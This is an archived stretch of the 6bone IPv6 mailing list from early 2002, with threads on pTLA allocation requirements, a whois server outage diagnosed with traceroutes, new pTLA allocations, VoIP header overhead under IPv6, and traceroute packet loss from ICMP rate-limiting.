On Mon, 25 Feb 2002, BesP wrote:

> Hello,
>
>   I'm new on this list... and I wrote just to say "hello" to all of
>   you :)
>
> --
> Best regards,
>  Adrian (BesP) Kujawski
>


From 6bone-owner  Mon Feb 25 15:46:15 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Carlos Alberto Martinez Arce'" <cmartinez@protel.net.mx>,
        <6bone@ISI.EDU>
Subject: RE: Question
Date: Tue, 26 Feb 2002 00:45:18 +0100
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Hi Carlos,

For request pTLA (a /28) you need:

- You must have a minimum of 3 months qualifying experience as a 6bone
site.
- You must have a fully maintained, and reliable, BGP4+ peering and
connectivity between other 6bone site.
- You must have fully maintained DNS forward (AAAA) and reverse
(ip6.int).
- You muts have fully maintained, and reliable, IPv6-accessible system
providing, at a mimimum, one or more web pages, describing your IPv6
services.
- You must have a support staff of two persons minimum, three
preferable, with person attributes registered for each in the ipv6-site
object of your whois.
- You must have a common mailbox for support.
- You must respect the 6bone rules...


For more information: http://www.6bone.net/6bone_pTLA_rqst.html.

Regards,

Nicolas DEFFAYET

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Carlos Alberto Martinez Arce
> Sent: Monday, February 25, 2002 9:01 PM
> To: 6bone@ISI.EDU
> Subject: Question
> 
> 
> What do I need to request a /28 ??  and where I have to request to?
> 
> Carlos Alberto Martínez Arce
> Transporte IP
> Operadora Protel S.A: C.V. I-Next
> tel.- +52 55 53290900
> 


From 6bone-owner  Tue Feb 26 02:18:23 2002
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Date: Tue, 26 Feb 2002 11:18:23 +0100
From: Patrick Viet <6bone@pviet.delta6.net>
To: 6bone@ISI.EDU
Subject: Re: Question
Message-ID: <20020226101822.GA28441@azuria.altsync.net>
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On Tue, Feb 26, 2002 at 12:45:18AM +0100, Nicolas DEFFAYET wrote:
> Hi Carlos,
> 
> For request pTLA (a /28) you need:
> 
> - You must have a minimum of 3 months qualifying experience as a 6bone
> site.
> - You must have a fully maintained, and reliable, BGP4+ peering and
> connectivity between other 6bone site.
> - You must have fully maintained DNS forward (AAAA) and reverse
> (ip6.int).
> - You muts have fully maintained, and reliable, IPv6-accessible system
> providing, at a mimimum, one or more web pages, describing your IPv6
> services.
> - You must have a support staff of two persons minimum, three
> preferable, with person attributes registered for each in the ipv6-site
> object of your whois.
> - You must have a common mailbox for support.
> - You must respect the 6bone rules...

You also need to have a network and an AS number
(a real one, not 65000 stuff). Already established v4 BGP to physical
uplinks is the normal way.

-- 
Patrick Viet, pviet@delta6.net
on the web, http://pvi.n3.net/

From 6bone-owner  Tue Feb 26 02:49:51 2002
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From: Michael Kjorling <michael@kjorling.com>
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Shouldn't ip6.arpa be included in this requirement as well? Just a
thought.

(Think BCP 49.) My understanding is that pTLA reverse DNS is delegated
directly from ip6.arpa - this would certainly help migration from RFC
1886's ip6.int to BCP 49's ip6.arpa.


Michael Kjörling
PS. Please use a better subject line next time. "Question" says very
little about the content of your e-mail. "/28 request rules" or
something would have been better.


On Feb 26 2002 00:45 +0100, Nicolas DEFFAYET wrote:

> - You must have fully maintained DNS forward (AAAA) and reverse
> (ip6.int).

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

*** Spammers: see http://michael.kjorling.com/spam ***
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From 6bone-owner  Tue Feb 26 04:44:24 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200202261244.g1QCiWs22884@boreas.isi.edu>
Subject: Re: Question
In-Reply-To: <Pine.LNX.4.44.0202261148500.25963-100000@varg.wolfpack> from Michael Kjorling at "Feb 26, 2 11:51:50 am"
To: michael@kjorling.com (Michael Kjorling)
Date: Tue, 26 Feb 2002 04:44:32 -0800 (PST)
Cc: 6bone@ISI.EDU
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 Nope, not until ICANN  acks (and processes) the requests to
 add the 6bone prefix into ip6.arpa.  Only RIR delegations are in
 ip6.arpa.  THe 6bone is still only in ip6.int.  




% -----BEGIN PGP SIGNED MESSAGE-----
% Hash: SHA1
% 
% Shouldn't ip6.arpa be included in this requirement as well? Just a
% thought.
% 
% (Think BCP 49.) My understanding is that pTLA reverse DNS is delegated
% directly from ip6.arpa - this would certainly help migration from RFC
% 1886's ip6.int to BCP 49's ip6.arpa.
% 
% 
% Michael Kjörling
% PS. Please use a better subject line next time. "Question" says very
% little about the content of your e-mail. "/28 request rules" or
% something would have been better.
% 
% 
% On Feb 26 2002 00:45 +0100, Nicolas DEFFAYET wrote:
% 
% > - You must have fully maintained DNS forward (AAAA) and reverse
% > (ip6.int).
% 
% - -- 
% Michael Kjörling  --  Programmer/Network administrator  ^..^
% Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
% PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e
% 
% ``And indeed people sometimes speak of man's "bestial" cruelty, but
% this is very unfair and insulting to the beasts: a beast can never be
% so cruel as a man, so ingeniously, so artistically cruel.''
% (Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
% 
% *** Spammers: see http://michael.kjorling.com/spam ***
% -----BEGIN PGP SIGNATURE-----
% Version: GnuPG v1.0.6 (GNU/Linux)
% Comment: Public key is at http://michael.kjorling.com/contact/pgp.html
% 
% iD8DBQE8e2jMKqN7/Ypw4z4RAlvyAKD+ItV+bgzDrCnwEDCH1wI+JmqWrwCgmiX+
% AwJf8eglpsu6qTc8KfPxtWg=
% =TZJl
% -----END PGP SIGNATURE-----
% 
% 
[End of raw data]


-- 
--bill

From 6bone-owner  Tue Feb 26 06:40:45 2002
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Date: Tue, 26 Feb 2002 06:40:06 -0800
To: Bill Manning <bmanning@ISI.EDU>, michael@kjorling.com (Michael Kjorling)
From: Bob Fink <fink@es.net>
Subject: Re: Question
Cc: 6bone@ISI.EDU
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At 04:44 AM 2/26/2002 -0800, Bill Manning wrote:
>  Nope, not until ICANN  acks (and processes) the requests to
>  add the 6bone prefix into ip6.arpa.  Only RIR delegations are in
>  ip6.arpa.  THe 6bone is still only in ip6.int.

Agree with Bill on this. However, we will be working on this and hopefully 
it will become a requirement too.


Bob


From 6bone-owner  Tue Feb 26 06:42:36 2002
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Date: Tue, 26 Feb 2002 06:42:22 -0800
To: Patrick Viet <6bone@pviet.delta6.net>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: Question
In-Reply-To: <20020226101822.GA28441@azuria.altsync.net>
References: <019601c1be56$7b05ff20$0103010a@localnet.ndsoftware.net>
 <4768F61E0618D611937C0002A57513DF1A35A3@EXCNTS0>
 <019601c1be56$7b05ff20$0103010a@localnet.ndsoftware.net>
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At 11:18 AM 2/26/2002 +0100, Patrick Viet wrote:
>On Tue, Feb 26, 2002 at 12:45:18AM +0100, Nicolas DEFFAYET wrote:
> > Hi Carlos,
> >
> > For request pTLA (a /28) you need:
> >
> > - You must have a minimum of 3 months qualifying experience as a 6bone
> > site.
> > - You must have a fully maintained, and reliable, BGP4+ peering and
> > connectivity between other 6bone site.
> > - You must have fully maintained DNS forward (AAAA) and reverse
> > (ip6.int).
> > - You muts have fully maintained, and reliable, IPv6-accessible system
> > providing, at a mimimum, one or more web pages, describing your IPv6
> > services.
> > - You must have a support staff of two persons minimum, three
> > preferable, with person attributes registered for each in the ipv6-site
> > object of your whois.
> > - You must have a common mailbox for support.
> > - You must respect the 6bone rules...
>
>You also need to have a network and an AS number
>(a real one, not 65000 stuff). Already established v4 BGP to physical
>uplinks is the normal way.

The AS number is a requirement for a pTLA.


Bob


From 6bone-owner  Tue Feb 26 17:01:53 2002
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Subject: (6bone) New MHTP draft.
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6boner,

I just posted release 02a here:
http://arneill-py.sacramento.ca.us/ipv6mh/draft-py-mhtp-02a.txt
This text contains numerous references to the 6bone.

> Abstract:
> This document describes a protocol for IPv6 Network Layer multihoming
> (MHTP) that does not affect the size of the routing table in the IPv6
> DFZ (Default Free Zone) and does not use tunnels. MHTP is a router
> solution and covers home/soho to very large environments.

Enjoy,
Michel.


From 6bone-owner  Wed Feb 27 23:50:20 2002
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Date: Thu, 28 Feb 2002 08:50:24 +0100
From: Pim van Pelt <pim@ipng.nl>
To: 6bone@ISI.EDU
Subject: whois server unreachable
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Dear admins,

We cannot reach the 6bone whois server from AS8954,AS12859,AS1103. Are
there any known problems with the network connectivity of the
whois.6bone.net server ?

Is there any means of duplicating this service? I would be interrested
in running a (realtime) copy of the 6bone database at my site for the 
Europe region and also in order to help enable a higher availability of 
the database, which I actually use quite frequently.

groet,
Pim
-- 
                             __________________
Met vriendelijke groet,     /\ ___/
Pim van Pelt               /- \ _/  Business Internet Trends BV
PBVP1-RIPE                /--- \/            __________________

From 6bone-owner  Thu Feb 28 01:45:42 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <6bone@ISI.EDU>, <david@iprg.nokia.com>, <fink@es.net>
Subject: whois.6bone.net outage?
Date: Thu, 28 Feb 2002 10:43:07 +0100
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David, Bob,

Is the whois.6bone.net box down?

jeroen@purgatory:~$ traceroute -v whois.6bone.net
traceroute to whois.6bone.net (192.103.19.12), 30 hops max, 40 byte
packets
 1  gw-64-92.sms-1.ams-tel.cistron.net (195.64.92.1) 36 bytes to
195.64.92.136  20.639 ms  22.794 ms  20.606 ms
 2  fa-0-0-1.rtr-1.ams-tel.cistron.net (62.216.31.1) 36 bytes to
195.64.92.136  22.591 ms  22.792 ms  21.888 ms
 3  pos-1-1-0.rtr-1.ams-sar.cistron.net (195.64.64.53) 36 bytes to
195.64.92.136  21.926 ms  22.078 ms  21.081 ms
 4  amsterdam11.nl.eqip.net (195.206.67.93) 36 bytes to 195.64.92.136
25.846 ms  23.220 ms  21.835 ms
 5  amsterdam51.nl.eqip.net (195.90.65.125) 36 bytes to 195.64.92.136
24.101 ms  21.062 ms  21.538 ms
 6  newyork51.us.eqip.net (195.206.65.58) 36 bytes to 195.64.92.136
113.222 ms  122.946 ms  111.780 ms
 7  500.POS2-0.GW3.NYC4.ALTER.NET (157.130.22.149) 36 bytes to
195.64.92.136  117.064 ms  114.368 ms  113.437 ms
 8  149.at-5-1-0.XR3.NYC4.ALTER.NET (152.63.24.142) 36 bytes to
195.64.92.136  113.810 ms  113.168 ms  112.970 ms
 9  0.so-2-0-0.XL1.NYC4.ALTER.NET (152.63.17.29) 36 bytes to
195.64.92.136  100.850 ms  101.415 ms  100.669 ms
10  0.so-1-0-0.TL1.NYC9.ALTER.NET (152.63.23.113) 36 bytes to
195.64.92.136  113.839 ms  115.430 ms  115.572 ms
11  0.so-1-1-0.TL1.SAC1.ALTER.NET (152.63.10.78) 36 bytes to
195.64.92.136  165.259 ms  163.985 ms  163.926 ms
12  0.so-7-0-0.XL1.PAO1.ALTER.NET (152.63.54.133) 36 bytes to
195.64.92.136  167.203 ms  167.796 ms  167.998 ms
13  POS1-0.XR1.PAO1.ALTER.NET (152.63.54.74) 36 bytes to 195.64.92.136
179.395 ms  179.685 ms  185.108 ms
14  189.ATM7-0.GW8.PAO1.ALTER.NET (152.63.52.65) 36 bytes to
195.64.92.136  180.564 ms  203.031 ms  191.929 ms
15  Nokia-gw.customer.alter.net (157.130.200.242) 48 bytes to
195.64.92.136  189.251 ms  181.486 ms  182.755 ms
16
36 bytes from 195.64.64.53 to 195.64.92.136: icmp type 3 (Dest
Unreachable) code 1
 4: x00430045
 8: x000021ef
12: x92a4113d
16: x885c40c3
20: x0d0420c6
24: x35002811
28: x6cd22f00
32: x00000000
 Nokia-gw.customer.alter.net (157.130.200.242) 48 bytes to 195.64.92.136
181.655 ms !N  182.497 ms !N  180.552 ms !N

Also it doesn't have any IPv6 address, would be nice to have a 6bone box
be accessible by IPv6 ;)

jeroen@purgatory:~$ traceroute6 www.6bone.net
traceroute6 to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:8114:1000::27,
30 hops max, 12 byte packets
 1  tunnel-026.ipng.nl  22.377 ms  23.639 ms  22.869 ms
 2  intouch.ipv6.viagenie.qc.ca  26.288 ms  27.004 ms  24.433 ms
 3  rap.ipv6.viagenie.qc.ca  185.046 ms  183.016 ms  185.224 ms
 4  www.6bone.net  184.685 ms  192.68 ms  189.426 ms

Maybe we could setup somekind of mirroring service so that the whois
database is kept on multiple (1+) hosts so this event doesn't happen, I
think many IPv6 enabled sites rely on information from the whois
database.
IPng.nl for example registers all their users in it (mirrored locally
ofcourse) but when a user signs up, he/she/* has
to create an entry in the 6bone database first...

Hope the box gets it's feet on the ground soon again.

Greets,
 Jeroen


From 6bone-owner  Thu Feb 28 03:24:28 2002
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From: Michael Kjorling <michael@kjorling.com>
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Hash: SHA1

I can't get to there either. Seems like Nokia-gw.customer.alter.net
(157.130.200.242) has a routing problem:

> [michael@varg michael]$ traceroute -n whois.6bone.net
> traceroute to whois.6bone.net (192.103.19.12), 30 hops max, 38 byte packets
>  1  213.88.238.206  5.682 ms  4.589 ms  4.670 ms
> ...
> 20  152.63.52.77  186.913 ms  183.828 ms  191.933 ms
> 21  157.130.200.242  187.227 ms  185.126 ms  318.574 ms
> 22  157.130.200.242  374.907 ms !N  186.899 ms !N  208.958 ms !N
> [michael@varg michael]$

Also, it would be nice to have a 6bone whois that is reachable over
IPv6 as well. (No AAAA or A6 RRs exist at whois.6bone.net, at least.)

My IPv4 upstream has AS3246 (route 213.88.128.0/17, Tele1Europe AB,
SE) and I have no knowledge or control of their setup, or even our
IPv4 border router (213.88.238.206).


Michael Kjörling


On Feb 28 2002 08:50 +0100, Pim van Pelt wrote:

> Dear admins,
>
> We cannot reach the 6bone whois server from AS8954,AS12859,AS1103. Are
> there any known problems with the network connectivity of the
> whois.6bone.net server ?
>
> Is there any means of duplicating this service? I would be interrested
> in running a (realtime) copy of the 6bone database at my site for the
> Europe region and also in order to help enable a higher availability of
> the database, which I actually use quite frequently.
>
> groet,
> Pim

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

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From 6bone-owner  Thu Feb 28 04:14:32 2002
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From: "Andreas 'randy' Weinberger" <randy@ipcenta.de>
To: <6bone@ISI.EDU>
References: <20020228075024.GA15752@bfib.colo.bit.nl>
Subject: Re: whois server unreachable
Date: Thu, 28 Feb 2002 13:15:44 +0100
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...


> We cannot reach the 6bone whois server from AS8954,AS12859,AS1103. Are
> there any known problems with the network connectivity of the
> whois.6bone.net server ?

the same from as 15671, semms like the whois and http server from 
whois.6bone.net and also http/whois whois.nokia.net are down quite for
a while, i would say about 4-6 days?
 
> I would be interrested
> in running a (realtime) copy of the 6bone database at my site for the 
> Europe region and also in order to help enable a higher availability of 
> the database, which I actually use quite frequently.

this whould be kewl ;)

> groet,
> Pim

only my 2 (euro)cents,


bye, 
--------- andreas 'randy' weinberger ---------

         internet system engineer,
 php development, sun microsystems workgroup
   computing expert & digitale videotechnik
 
  CompleTel GmbH (http://www.completel.de/)
-------



From 6bone-owner  Thu Feb 28 04:24:10 2002
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To: "'Pim van Pelt'" <pim@ipng.nl>
Cc: <6bone@ISI.EDU>
Subject: RE: whois server unreachable
Date: Thu, 28 Feb 2002 13:23:02 +0100
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> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Pim van Pelt
> Sent: Thursday, February 28, 2002 8:50 AM
> To: 6bone@ISI.EDU
> Subject: whois server unreachable
> 
> 
> Dear admins,
> 
> We cannot reach the 6bone whois server from AS8954,AS12859,AS1103. Are
> there any known problems with the network connectivity of the
> whois.6bone.net server ?
> 
> Is there any means of duplicating this service? I would be interrested
> in running a (realtime) copy of the 6bone database at my site for the 
> Europe region and also in order to help enable a higher 
> availability of 
> the database, which I actually use quite frequently.
> 

And run a 6bone whois database available in IPv6, because
whois.6bone.net don't have IPv6 address.
I think it's a good idea to have a multi whois databases
(ARIN,6BONE,RIPE,APNIC) available in IPv6.

Regards,

Nicolas DEFFAYET


From 6bone-owner  Thu Feb 28 04:52:32 2002
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Date: Thu, 28 Feb 2002 07:52:27 -0500 (EST)
From: Ville <villearc@stealth.net>
To: 6bone@ISI.EDU
Subject: Re: whois server unreachable
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Pim,

On Thu, 28 Feb 2002, Pim van Pelt wrote:

> Is there any means of duplicating this service? I would be interrested
> in running a (realtime) copy of the 6bone database at my site <...>

	Approved duplicates are already being ran. The primary WHOIS-
	server is not the only one available. Then again, if memory
	serves, the actual list of mirrors does reside on the very
	same host. :-)

	OTOH, I cannot help noticing even the mirror-servers *are*
	currently turning down 6BONE queries.

		whois.ra.net: "Source 6BONE (6bone) not found."

		whois.nic.fr: Some person-objects seem to be there,
		although fresh pTLA's et al do not turn up? Obsoleted
		6BONE-wise?

	Personally, I would just contact the people behind the WHOIS-
	server(s) directly -- it's not impossible that the fault has
	gone unnoticed. David is probably the key-person here.

	Until he reacts, you can, however, just fetch the source for
	a capable WHOIS-daemon (RIPE+6BONE) and grab the DB dated Feb
	25th (last succesful transfer) from:

		ftp://ftp.stealth.net/pub/mirrors/whois.6bone.net/

	...and run it for yourself. Works wonders.

	All in all, I would more imagine the number one objective is
	simply ensuring data-availability and the stability of the
	WHOIS-primary-- not necessarily immediately aiming for running
	db-synch with true parallelity et al.

	As for accessing the DB per modification, instead of utilizing
	batch-updates - such software more has its flaws in design
	rather than in implementation.

	Good guests do not starvate remote-resources with unnecessary
	per-connection overhead.

	Good guests commit per batch wherever applicable. :-)


> Pim

Cheers,
-- 
	Ville <viha@stealth.net>  Network Security/IPv6 Solutions
				  Stealth Communications, Inc.





From 6bone-owner  Thu Feb 28 06:37:30 2002
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From: Claudia Cordova Yamauchi <ccordova@inictel.gob.pe>
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To: 6bone@ISI.EDU
Subject: registering an island
Date: Thu, 28 Feb 2002 09:35:53 -0500
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Hi people
I'm trying to register my ipv6 island from three days ago. From the Viagenie 
web site, I get the message: Temporary communication failure with whois 
server. Try later. 
Is there any other way for register my ipv6 island? 
Cheers
Claudia

From 6bone-owner  Thu Feb 28 08:02:58 2002
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To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Nokia primary whois service unreachable
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Thanks for the notes on the Nokia primary whois service being unreachable.

David Kessens (who is the maintainer of the primary) is travelling out of 
the country at the moment, but I am trying to get in touch with him so we 
can get the Nokia primary reachable again.

I use the Viagenie query service so hadn't noticed that Nokia was 
unreachable. However, the Viagenie web i/f for modifying entries in their 
mirror and the primary appears to be refusing requests, probably because 
the primary is unreachable. I will get in touch with them to see what the 
problem.


As for IPv6 accessible 6bone registry service, it is certainly time to make 
that happen. I will pursue this.


Anyway, for queries only, go to the Viagenie 6bone registry page at:

<http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml>


Thanks,

Bob


From 6bone-owner  Thu Feb 28 09:06:53 2002
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Subject: IP V6 overhead
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Hello,
I am new to the forum - so first of all I would like to say Hello.

Secondly I wonder if someone can explain to me the following:
We are using the IP network for IP Telephony (VoIP) . Currently we are
doing it by using IPV4
At IPV4 we are sending packet every 20 ms. The length of the payload is 160
bytes (without compression) and the overhead is 78 bytes (IP, UDP, RTP, L2
& L1). With IPV6 the overhead will be much larger because of the IP address
fields.
So we will reach a situation where the overhead will be much larger than
the payload and the required bandwidth will be increased.
How such a problem is solved at IPV6 ?
Regards,

Yaron Oppenheim





From 6bone-owner  Thu Feb 28 09:52:33 2002
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Look at RFC 3095 and 3096, and the rohc drafs.

From 6bone-owner  Thu Feb 28 09:56:02 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Claudia Cordova Yamauchi'" <ccordova@inictel.gob.pe>, <6bone@ISI.EDU>
Subject: RE: registering an island
Date: Thu, 28 Feb 2002 18:54:55 +0100
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Hi Claudia,

The 6bone database (whois.6bone.net) is down since 25 fev.
Try to ping whois.6bone.net (in IPv4), when the host is up, retry on the
viagenie's interface.

Regards,

Nicolas DEFFAYET

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Claudia Cordova Yamauchi
> Sent: Thursday, February 28, 2002 3:36 PM
> To: 6bone@ISI.EDU
> Subject: registering an island
> 
> 
> Hi people
> I'm trying to register my ipv6 island from three days ago. 
> From the Viagenie 
> web site, I get the message: Temporary communication failure 
> with whois 
> server. Try later. 
> Is there any other way for register my ipv6 island? 
> Cheers
> Claudia
> 


From 6bone-owner  Thu Feb 28 11:33:16 2002
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Date: Thu, 28 Feb 2002 11:35:39 -0800
From: David Kessens <david@IPRG.nokia.com>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Nokia primary whois service unreachable
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On Thu, Feb 28, 2002 at 08:02:57AM -0800, Bob Fink wrote:
> Thanks for the notes on the Nokia primary whois service being unreachable.
> 
> David Kessens (who is the maintainer of the primary) is travelling out of 
> the country at the moment, but I am trying to get in touch with him so we 
> can get the Nokia primary reachable again.

Bob Fink was able to reach me on my cellphone immediately after he
became aware of the problem.

I got things working again with some assistance of the local Nokia
people.

I would like to offer my apologies for this service interruption. It's
a volunteer effort but I obviously want to offer a service as reliable
as humanly possible.

> As for IPv6 accessible 6bone registry service, it is certainly time to make 
> that happen. I will pursue this.

I guess I owe something to the 6bone community now :-). Stay tuned.

David K.
---

From 6bone-owner  Thu Feb 28 12:44:55 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
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Subject: RE: whois server unreachable
Date: Thu, 28 Feb 2002 21:44:48 +0100
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Bingo.... it works again :)

I saw a delegation creation email arive in my mailbox... :)

jeroen@purgatory:~$ ping whois.6bone.net
PING whois.6bone.net (192.103.19.12): 56 data bytes
64 bytes from 192.103.19.12: icmp_seq=0 ttl=238 time=187.417 ms
64 bytes from 192.103.19.12: icmp_seq=1 ttl=238 time=189.585 ms

Good.... back to business...

Greets,
 Jeroen


From 6bone-owner  Thu Feb 28 13:44:51 2002
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Date: Thu, 28 Feb 2002 13:41:48 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8350::/28 allocated to NL-BIT6
Cc: Bill Manning <bmanning@ISI.EDU>, Pim van Pelt <pim@ipng.nl>
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NL-BIT6 has been allocated pTLA 3FFE:8350::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?NL-BIT6>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Thu Feb 28 13:57:36 2002
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From: Thomas Schaefer <mail@thomas--schaefer.de>
Message-Id: <200202282247.33146@thomas--schaefer.de>
To: Yaron.Oppenheim@ecitele.com, 6bone@ISI.EDU
Subject: Re: IP V6 overhead
Date: Thu, 28 Feb 2002 22:57:24 +0100
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Am Donnerstag, 28. Februar 2002 18:06 schrieben Sie:
> Hello,
>.... the overhead is 78 bytes (IP, UDP, RTP, L2
> & L1). With IPV6 the overhead will be much larger because of the IP address
> fields.
> So we will reach a situation where the overhead will be much larger than
> the payload and the required bandwidth will be increased.
>
The header size is only 20 Bytes more (twice of ipv4 header). You are right - 
for short packets - the ratio payload/wholepacketsize  is worse.
But in your example: 
160/(160+78)=0,67
160/(160+98)=0,62
I think both the new and the old value are not very nice.

Regards,
Thomas Schäfer

From 6bone-owner  Fri Mar  1 00:35:09 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Yaron.Oppenheim@ecitele.com
cc: 6bone@ISI.EDU
Subject: Re: IP V6 overhead 
In-reply-to: Your message of Thu, 28 Feb 2002 19:06:43 +0200.
             <OF7C0FD0F4.D25E072C-ONC2256B6E.005D0838@ecitele.com> 
Date: Fri, 01 Mar 2002 09:34:46 +0100
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 In your previous mail you wrote:

   Secondly I wonder if someone can explain to me the following:
   We are using the IP network for IP Telephony (VoIP) . Currently we are
   doing it by using IPV4
   At IPV4 we are sending packet every 20 ms. The length of the payload is 160
   bytes (without compression) and the overhead is 78 bytes (IP, UDP, RTP, L2
   & L1). With IPV6 the overhead will be much larger because of the IP address
   fields.
   So we will reach a situation where the overhead will be much larger than
   the payload and the required bandwidth will be increased.
   How such a problem is solved at IPV6 ?

=> with a good header compression you can remove most of the headers (*).
Look at RFCs 250[789], RFC 3095 and future ROHC RFCs...

Regards

Francis.Dupont@enst-bretagne.fr

PS: in the IPv6 header everything can be compressed (this is not true
for IPv4) so the only needed thing is the index of the context which
takes the base 2 logarithm of the number of contexts. On a perfect
point-to-point link with only one VoIP conversation the IPv6 overhead
is *zero* bits (sorry, can't do better :-)!

From 6bone-owner  Fri Mar  1 08:38:52 2002
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Date: Fri, 01 Mar 2002 08:14:34 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8360::/28 allocated to NTT-EAST
Cc: Bill Manning <bmanning@ISI.EDU>,
        Satoshi TSUNEKAWA <s.tsunekawa@east.ntt.co.jp>
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NTT-EAST has been allocated pTLA 3FFE:8360::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?NTT-EAST>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Sat Mar  2 12:14:27 2002
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Date: Sat, 2 Mar 2002 21:16:34 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
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To: 6bone <6bone@ISI.EDU>
Subject: IPv6 packet losses - 20% normal on traceroute6s?
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Hash: SHA1

I'm just curious, as I have been seeing this for a while now.

When I use the 6tap IPv6 traceroute service, it seems like I get a
consistent some 20% packet loss. Pinging the same host from the same
site does not show anywhere near this loss.

Even routers very close to 6tap's server (first and second hop shows
one out of three dropped packets each) show this problem. Tracerouting
back to 3FFE:700:20:3::1 (first hop from 6tap towards me), while not
giving much information (only three hops being listen, as opposed to
six the other way) still shows a rather consistent 33% loss between
UUNet's router and 6tap's.

Is this considered normal?


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

*** Spammers: see http://michael.kjorling.com/spam ***
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From 6bone-owner  Sat Mar  2 21:25:49 2002
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Date: Sun, 3 Mar 2002 07:25:44 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Michael Kjorling <michael@kjorling.com>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: IPv6 packet losses - 20% normal on traceroute6s?
In-Reply-To: <Pine.LNX.4.44.0203022110260.29636-100000@varg.wolfpack>
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On Sat, 2 Mar 2002, Michael Kjorling wrote:
> When I use the 6tap IPv6 traceroute service, it seems like I get a
> consistent some 20% packet loss. Pinging the same host from the same
> site does not show anywhere near this loss.
> 
> Even routers very close to 6tap's server (first and second hop shows
> one out of three dropped packets each) show this problem. Tracerouting
> back to 3FFE:700:20:3::1 (first hop from 6tap towards me), while not
> giving much information (only three hops being listen, as opposed to
> six the other way) still shows a rather consistent 33% loss between
> UUNet's router and 6tap's.
> 
> Is this considered normal?

This is most probably caused by hare-brained ICMP error rate-limiting; you 
can detect old Cisco's from the crowd as they drop about every other 
traceroute.  It has been fixed in recently released 12.2(8)T, and remedied 
in the ICMP6 draft standard candidate draft.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sun Mar  3 12:32:18 2002
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Subject: Re: IPv6 packet losses - 20% normal on traceroute6s?
From: Ben Winslow <rain@bluecherry.net>
To: 6bone@ISI.EDU
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On Sat, 2002-03-02 at 23:25, Pekka Savola wrote:
> On Sat, 2 Mar 2002, Michael Kjorling wrote:
> > When I use the 6tap IPv6 traceroute service, it seems like I get a
> > consistent some 20% packet loss. Pinging the same host from the same
> > site does not show anywhere near this loss.
> >=20
> > Even routers very close to 6tap's server (first and second hop shows
> > one out of three dropped packets each) show this problem. Tracerouting
> > back to 3FFE:700:20:3::1 (first hop from 6tap towards me), while not
> > giving much information (only three hops being listen, as opposed to
> > six the other way) still shows a rather consistent 33% loss between
> > UUNet's router and 6tap's.
> >=20
> > Is this considered normal?
>=20
> This is most probably caused by hare-brained ICMP error rate-limiting; yo=
u=20
> can detect old Cisco's from the crowd as they drop about every other=20
> traceroute.  It has been fixed in recently released 12.2(8)T, and remedie=
d=20
